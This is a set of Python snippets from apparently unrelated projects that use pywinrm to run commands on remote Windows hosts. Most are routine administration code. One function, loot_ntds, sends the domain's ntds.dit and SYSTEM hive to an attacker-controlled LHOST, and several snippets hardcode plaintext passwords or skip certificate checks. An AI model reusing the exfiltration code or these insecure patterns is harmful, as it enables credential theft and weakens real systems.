def call_winrm_powershell(self, command): from requests import exceptions import winrm # Get correct link for winrm winrm_link = self.decide_winrm_link() try: win_session = winrm.Session(winrm_link, auth=(None, None), transport='kerberos') raw_response = win_session.run_ps(command) output = raw_response.std_out error = raw_response.std_err if raw_response.status_code == 1: return False, error else: return True, output except exceptions.ConnectionError: print( "Server: {}, refused connection, most likely the server is not yet fully up after reboot." .format(self.server)) except winrm.exceptions.WinRMTransportError: print("Server: {}, side winrm encountered error.".format( self.server))
def main(): parser = OptionParser() parser.add_option("-i", "--host", help="The ip or hostname of the server to connect to") parser.add_option("-u", "--username", help="The username to connect with") parser.add_option("-p", "--password", help="The password to authenticate with") parser.add_option (options, args) = parser.parse_args() ps_script = """ if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { exit 0 } exit 1 """ try: s = winrm.Session(options.host, auth=(options.username,options.password)) r = s.run_ps(ps_script) if r.status_code != 0: print "{\"status\" : \"failed\", \"message\" : \"User is not a member of the local Administrators group\"}" exit(1) exit(0) except requests.exceptions.ConnectionError: print "{\"status\" : \"failed\", \"message\" : \"Could not connect to server via winrm. Could not reach hostname or ip, make sure all pre requirements are met\"}" exit(1) except requests.exceptions.ConnectTimeout: print "{\"status\" : \"failed\", \"message\" : \"Could not connect to server via winrm. Make sure that all pre requirements are met\"}" exit(1) except winrm.exceptions.InvalidCredentialsError: print "{\"status\" : \"failed\", \"message\" : \"Could not login to server via winrm. Invalid credentials\"}" exit(1)
def get_windows_session(server=None, public_ip=None, password=None, timeout=None): time_until = time.time() + timeout if timeout else None username = '******' port = 5985 while True: try: if server: server.reload() public_ip = server.public_ip password = password or server.windows_password if not password: password = '******' if CONF.feature.driver.is_platform_gce: username = '******' elif CONF.feature.driver.is_platform_cloudstack and world.cloud._driver.use_port_forwarding( ): node = world.cloud.get_node(server) port = world.cloud.open_port(node, port) LOG.info('Used credentials for windows session: %s:%s %s:%s' % (public_ip, port, username, password)) session = winrm.Session('http://%s:%s/wsman' % (public_ip, port), auth=(username, password)) LOG.debug('WinRm instance: %s' % session) return session except Exception as e: LOG.error('Got windows session error: %s' % e.message) if time.time() >= time_until: raise TimeoutError time.sleep(5)
def main(): parser = OptionParser() parser.add_option("-i", "--host", help="The ip or hostname of the server to connect to") parser.add_option("-u", "--username", help="The username to connect with") parser.add_option("-p", "--password", help="The password to authenticate with") parser.add_option (options, args) = parser.parse_args() try: s = winrm.Session(options.host, auth=(options.username, options.password)) r = s.run_cmd('ipconfig', ['/all']) exit(0) except requests.exceptions.ConnectionError: print "{\"status\" : \"failed\", \"message\" : \"Could not connect to server via winrm. Could not reach hostname or ip, make sure all pre requirements are met\"}" exit(1) except requests.exceptions.ConnectTimeout: print "{\"status\" : \"failed\", \"message\" : \"Could not connect to server via winrm. Make sure that all pre requirements are met\"}" exit(1) except winrm.exceptions.InvalidCredentialsError: print "{\"status\" : \"failed\", \"message\" : \"Could not login to server via winrm. Invalid credentials\"}" exit(1)
def wait_for_hadoop_on_windows(self, server_ip, username, password, interval_retry=1, retry_count_total=10): session = winrm.Session(server_ip, auth=(username, password), transport='ssl') retry_count = retry_count_total while True: try: session.run_ps("ls") LOG.debug("WinRM is UP") break except Exception: if retry_count == 0: raise retry_count = retry_count - 1 LOG.debug("Winrm is down") time.sleep(interval_retry) retry_count = retry_count_total cmd_register_task = ( 'Start-Process powershell -wait -verb runas ' '\'$dom = "$env:USERDOMAIN";$usr="******";' '$Sta = New-ScheduledTaskAction -Execute "start-all.cmd";' 'Register-ScheduledTask -TaskName "HadoopTest" -Action $Sta ' '-User $dom\$usr -Password %s -RunLevel Highest\'' % password) LOG.debug(cmd_register_task) LOG.debug(session.run_ps(cmd_register_task).std_out) cmd = 'Start-ScheduledTask -TaskName "\HadoopTest"' while True: try: session.run_ps(cmd) LOG.debug("Hadoop starting...") break except Exception: if retry_count == 0: raise retry_count = retry_count - 1 LOG.debug("Winrm is down") time.sleep(interval_retry) retry_count = retry_count_total cmd = "hdfs dfsadmin -safemode wait" while True: try: output = session.run_ps(cmd) LOG.debug(output.std_out) LOG.debug(output.std_err) if output.std_err.find("Connection refused") < 0: break except Exception: if retry_count == 0: raise retry_count = retry_count - 1 LOG.debug("Hadoop is not ready yet") time.sleep(interval_retry)
def create_conn_obj(self): #pywinrm will try and guess the correct endpoint url: https://pypi.org/project/pywinrm/0.2.2/ print('pass={}'.format(self.args.password)) self.conn = pywinrm.Session(self.host, auth=('{}\\{}'.format(self.domain, self.args.username[0]), self.args.password[0]), transport='ntlm', server_cert_validation='ignore') return True
def __init__(self, hackerIP, hackerPORT, ip, username, password): self.hackerIP = hackerIP self.hackerPORT = str(hackerPORT) self.ip = ip self.username = username self.password = password self.session = winrm.Session(self.ip, auth=(self.username, self.password))
def __init__(self, **kwargs): super(SCVMMSystem, self).__init__(kwargs) self.host = kwargs["hostname"] self.user = kwargs["username"] self.password = kwargs["password"] self.domain = kwargs["domain"] self.provisioning = kwargs["provisioning"] self.api = winrm.Session(self.host, auth=(self.user, self.password))
def execute_winrm(target, script_block, username, password): s = winrm.Session(target, auth=(username, password), transport='ssl', server_cert_validation='ignore') ps_script = script_block r = s.run_ps(ps_script) print(r.std_out)
def run_command(self, command, args=[]): if self.use_ntlm: s = winrm.Session(self.host, auth=(self.username, self.password), transport="ntlm") else: s = winrm.Session(self.host, auth=(self.username, self.password)) try: r = s.run_cmd(command, args) print("=====[ STDERR ]=====") print(r.std_err.decode("ascii")) print("=====[ STDOUT ]=====") return r.std_out.decode("ascii") except InvalidCredentialsError as e: print("Error")
def test_winrm_connection(host, user, password): """Checks that we can execute a basic WinRM command.""" logger().info('Testing WinRM connection.') url = 'https://{}:5986'.format(host) session = winrm.Session(url, auth=(user, password), server_cert_validation='ignore') session.run_ps('echo "Hello, world!"')
def exec_script_remotely(self, hosts, script_path, output_directory=None, output_filename=None, tab_separated_values=False): """ Load a .ps1 script from file and execute it on a list of hosts. Outputs each host's results to a subdirectory of output_directory in output_filename :param hosts: :param script_path: location of script to load :param output_directory: directory to put output in :param output_filename: filename to put output in :param tab_separated_values: whether to convert the script output to TSV :return: dict of results with hosts as keys and list of outputs for each """ t = (output_filename, output_directory) if not (all(t) or not any(t)): return "Either both directory, filename, and tsv must be set, or neither.", "ScriptError" results = {} try: raw = open(script_path, 'rb').read() enc = chardet.detect(raw)['encoding'] with codecs.open(script_path, 'r', encoding=enc) as f: script = f.read() except IOError as e: return e, "FileError" script = "$t = @'\n{}\n'@".format(script) script += ';Invoke-Expression $t' if tab_separated_values: script += '|ConvertTo-CSV -Delimiter "`t" -NoTypeInformation' script += '|% { $_ -replace "`"" }' b64script = b64encode(script.encode('utf_16_le')).decode('ascii') cmd = "mode con: cols=32766 && powershell -encodedcommand {}".format( b64script) status = "Success" for host in hosts: logger.info("Executing on {}".format(host)) results[host] = [] s = winrm.Session( host, auth=(self.username, self.device.get_encrypted_field("password")), **self.options) results, status = self.__process_command(s, host, cmd, results, output_directory, output_filename) logger.info("Done executing on {}".format(host)) return str(results), status
def RemoteCommand(self, command, should_log=False, ignore_failure=False, suppress_warning=False, timeout=None): """Runs a powershell command on the VM. Args: command: A valid powershell command. should_log: A boolean indicating whether the command result should be logged at the info level. Even if it is false, the results will still be logged at the debug level. ignore_failure: Ignore any failure if set to true. suppress_warning: Suppress the result logging from IssueCommand when the return code is non-zero. timeout: Float. A timeout in seconds for the command. If None is passed, no timeout is applied. Timeout kills the winrm session which then kills the process being executed. Returns: A tuple of stdout and stderr from running the command. Raises: RemoteCommandError: If there was a problem issuing the command or the command timed out. """ logging.info('Running command on %s: %s', self, command) s = winrm.Session('https://%s:%s' % (self.ip_address, self.winrm_port), auth=(self.user_name, self.password), server_cert_validation='ignore') encoded_command = base64.b64encode(command.encode('utf_16_le')) @timeout_decorator.timeout( timeout, use_signals=False, timeout_exception=errors.VirtualMachine.RemoteCommandError) def run_command(): return s.run_cmd('powershell -encodedcommand %s' % encoded_command) r = run_command() retcode, stdout, stderr = r.status_code, r.std_out, r.std_err debug_text = ( 'Ran %s on %s. Return code (%s).\nSTDOUT: %s\nSTDERR: %s' % (command, self, retcode, stdout, stderr)) if should_log or (retcode and not suppress_warning): logging.info(debug_text) else: logging.debug(debug_text) if retcode and not ignore_failure: error_text = ('Got non-zero return code (%s) executing %s\n' 'STDOUT: %sSTDERR: %s' % (retcode, command, stdout, stderr)) raise errors.VirtualMachine.RemoteCommandError(error_text) return stdout, stderr
def _winrm(self, cmds: List[str]): """Execute a command using winrm.""" winrm_config = self._winrm """Node object's winrm settings.""" winrm_client = winrm.Session(winrm_config["address"], auth=(winrm_config["user"], winrm_config["password"])) r = s.run_cmd("ipconfig", ["/all"])
def winrm_test(): import winrm wintest = winrm.Session('http://10.0.1.122:5985/wsman', auth=('administrator', '1qaz@WSX')) cmd_str = "powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.1.220:8000/USM.txt','C:\\Users\Administrator\Downloads\jwt1')" ret = wintest.run_cmd(cmd_str) # ret = wintest.run_cmd('ipconfig') print(ret) print(ret.std_out.decode('gbk'))
def main(): args, p = p_a() pwd = getpass.getpass() if not args.password else args.password try: s = winrm.Session(args.ip, auth=(args.username, pwd)) s.run_cmd('dir') print('success') except winrm.exceptions.InvalidCredentialsError: print('failed')
def __init__(self, ip_address=None, user_name=None, password=None): self.ip_addr = ip_address self.user = user_name self.password = password try: self.connection = winrm.Session(self.ip_addr, auth=(self.user, self.password)) except: dump_error_in_lib()
def _setup_ps_remote(self, ps_script): try: session = winrm.Session(self.host, auth=(self.user, self.passwd)) result = session.run_ps(ps_script) except Exception as e: _logger.error("WinRM error happened.") _logger.debug("%s" % (e)) raise return result.status_code, result.std_out, result.std_err
def __init__(self, ip, username, password, port=5985): self._host = ip self._port = port self._username = username self._password = password self._session = winrm.Session(URL.format(schema=SCHEMA, ip=ip, port=port), auth=(username, password))
def reboot20453(): win_session = winrm.Session('http://172.16.204.53:5985/wsman', auth=('Administrator', 'Qgg12#45')) try: res = win_session.run_cmd('ipconfig') except: return '重启失败' else: return res.std_out
def loot_ntds(shadow_volume): s = winrm.Session(HOST, auth=(USERNAME, PASSWORD)) ps_script = """$WebClient = New-Object System.Net.WebClient;$WebClient.UploadFile("http://%s:8080/ntds.dit", "PUT", "%s\\windows\\ntds\\ntds.dit")""" % (LHOST, shadow_volume) s.run_ps(ps_script) ps_script = """$WebClient = New-Object System.Net.WebClient;$WebClient.UploadFile("http://%s:8080/SYSTEM", "PUT", "%s\\windows\\system32\\config\\SYSTEM")""" % (LHOST, shadow_volume) s.run_ps(ps_script)
def _create_session(self): winrm_url = '{0}://{1}:{2}/{3}'.format(self.session_config['protocol'], self.session_config['host'], self.session_config['port'], self.session_config['uri']) return winrm.Session(target=winrm_url, auth=(self.session_config['user'], self.session_config['password']))
def clean_tab_logs(): win_session = winrm.Session('http://172.16.154.105:5985/wsman', auth=('Administrator', 'Qgg12#45')) try: res = win_session.run_cmd('ipconfig') except: return '清理失败' else: return res.std_out
def __init__(self, I_VM): """ Construct :param I_VM: classes that implement the I_VM interface. """ self.host_name = I_VM.get_host_name() # set windows host name self.user_name = I_VM.get_user_name() # set windows user name self.user_password = I_VM.get_user_password() # set windows user password """ instance the win_rm library """ self.session = winrm.Session(self.host_name, auth=(self.user_name, self.user_password))
def run_ps(file_name, ip_server, auth, x64): file_name = os.path.join(os.path.dirname(__file__), file_name) enc_ps = get_ps_enc(file_name) s = winrm.Session('http://' + ip_server + ':5985/wsman', auth) if x64: r = s.run_cmd('%SystemRoot%\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe', ["-EncodedCommand", "%s" % enc_ps]) else: r = s.run_cmd("powershell", ["-EncodedCommand", "%s" % enc_ps]) return r.status_code, r.std_out, r.std_err
def _set_winrm_session(self): # Retrieve password from OpenStack password = self.get_password(self._outputs.cli_server_id) self.logger.info('VM password: %s', password) self.inputs['password'] = password url = 'http://{0}:{1}/wsman'.format( self._outputs.cli_public_ip_address, WINRM_PORT) user = self.inputs['cli_user'] self._session = winrm.Session(url, auth=(user, password))
def eventviewer(ip, check): connect = winrm.Session( ip, auth=('userwinrm', 'U$erwinrm')) if check =='app': #runscript = connect.run_ps('Get-EventLog -LogName Application -After (Get-Date).AddDays(-1) -EntryType Error,Warning |Format-List EventID, EntryType, TimeGenerated, Source, Message') runscript = connect.run_ps('Get-EventLog Application -newest 50 -EntryType Error,Warning |Format-List EventID, EntryType, TimeGenerated, Source, Message') else: runscript = connect.run_ps('Get-EventLog -LogName System -newest 50 -EntryType Error,Warning |Format-List EventID, EntryType, TimeGenerated, Source, Message') result = runscript.std_out return result
def _init_session(self, action_result, param=None): config = self.get_config() default_port = config.get('default_port', 5985) default_protocol = config.get('default_protocol', 'http') if param: endpoint = param['ip_hostname'] else: endpoint = config.get('endpoint') if endpoint is None: return action_result.set_status(phantom.APP_ERROR, "No Endpoint Configured") if re.search(r'^[a-z]+://', endpoint, re.UNICODE | re.IGNORECASE) is None: endpoint = '{0}://{1}'.format(default_protocol, endpoint) if re.search(r':\d+$', endpoint, re.UNICODE | re.IGNORECASE) is None: endpoint = '{0}:{1}'.format(endpoint, default_port) username = config['username'] password = config['password'] transport = config.get('transport') domain = config.get('domain') verify_bool = config.get(phantom.APP_JSON_VERIFY, False) if verify_bool: verify = 'validate' else: verify = 'ignore' if transport == 'basic' or transport == 'plaintext': if domain: self.save_progress( "Warning: Domain is set but transport type is set to 'basic'" ) elif transport == 'ntlm': if domain: username = r'{}\{}'.format(domain, username) elif transport == 'kerberos': return action_result.set_status( phantom.APP_ERROR, "This transport type is not yet implemented") elif transport == 'credssp': return action_result.set_status( phantom.APP_ERROR, "This transport type is not yet implemented") else: return action_result.set_status( phantom.APP_ERROR, "Invalid transport type: {}".format(transport)) self._session = winrm.Session(endpoint, auth=(username, password), server_cert_validation=verify, transport=transport) self._protocol = self._session.protocol return phantom.APP_SUCCESS
def remove_isolated_storage(self, hostname='', auth=()): """ Remove the IsolatedStorage folder Examples: - Remove Isolated Storage """ if auth: if isinstance(auth, (str, unicode)): try: PolarisInterface.remote_username, PolarisInterface.remote_password = ast.literal_eval( auth) except ValueError: raise ValueError( "Unable to parse auth {0}\n" "Please provide auth in format ('user', 'password')") else: PolarisInterface.remote_username, PolarisInterface.remote_password = auth if hostname: PolarisInterface.hostname = hostname isolated_storage = '\AppData\Local\IsolatedStorage' if 'localhost' in PolarisInterface.hostname or '127.0.0.1' in PolarisInterface.hostname: home = expanduser("~") try: shutil.rmtree("{0}{1}".format(home, isolated_storage)) except WindowsError as e: logger.info('No IsolatedStorage found', also_console=PolarisInterface.output_console) logger.info(e, also_console=PolarisInterface.output_console) elif PolarisInterface.remote_username or PolarisInterface.remote_password: assert PolarisInterface.remote_username, AssertionError( 'Please provide remote authentication username') assert PolarisInterface.remote_password, AssertionError( 'Please provide remote authentication password') ps_script = """ $users = get-childitem C:/Users foreach ($user in $users) {{ $folder = "C:/Users/" + $user + "{0}" try {{ Remove-Item $folder -recurse -force -erroraction ignore }} catch {{}} }} """.format(isolated_storage) remote_session = winrm.Session( hostname, auth=(PolarisInterface.remote_username, PolarisInterface.remote_password)) response = remote_session.run_ps(ps_script)
def call_remote_copy(self, host, user, pwd): logfile = 'logs_%s.txt' % time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime()) if host not in copy_host: try: # 用wmi连接到远程win7系统设置IP win7 = winrm.Session('http://%s:5985/wsman' % (host), auth=('Admin', 'Admin')) print("%s ----终端文件夹开始拷贝!" % (host)) #远程文件共享服务器认证 win7.run_cmd( r'net use \\192.168.48.223\ipc$ "123456" /user:"******" ' ) #远程强制删除C:\终端 win7.run_cmd(r'rd/s/q C:\终端') #远程创建C:\终端 win7.run_cmd(r'md C:\终端') #从共享服务器上复制名字为终端文件夹到本地 win7.run_cmd( r'xcopy \\192.168.48.223\share\课堂管理软件\终端 /y /s /e /c /z C:\终端' ) print("%s ----终端文件夹拷贝成功!" % (host)) #------------ #------------ print("%s ----DLL文件夹开始拷贝!" % (host)) # 复制DDL文件 # 远程强制删除C:\Windows\DLL win7.run_cmd(r'rd/s/q C:\Windows\DLL') # 远程创建C:\Windows\DLL win7.run_cmd(r'md C:\Windows\DLL') # 从共享服务器上复制名字为DLL文件夹到本地 win7.run_cmd( r'xcopy \\192.168.48.223\share\课堂管理软件\DLL /y /s /e /c /z C:\Windows\DLL' ) print("%s ----DLL文件夹拷贝成功" % (host)) #----------- #----------- print("%s ----汇捷快捷方式文件开始拷贝" % (host)) # 复制D汇捷快捷方式 # 从共享服务器上复制名字为DLL文件夹到本地 win7.run_cmd( r'xcopy \\192.168.48.223\share\课堂管理软件\云桌面快捷方式 /y /s /e /c /z C:\users\admin\desktop' ) print("%s ----汇捷快捷方式拷贝成功!" % (host)) copy_host.append(host) return True except Exception as e: print(host + ' 网络故障') log = open(logfile, 'a') log.write(('%s %s call Failed!\r\n') % (host, e)) log.close() self.rep_remote_copy(host, user, pwd) return False finally: print('copy continue')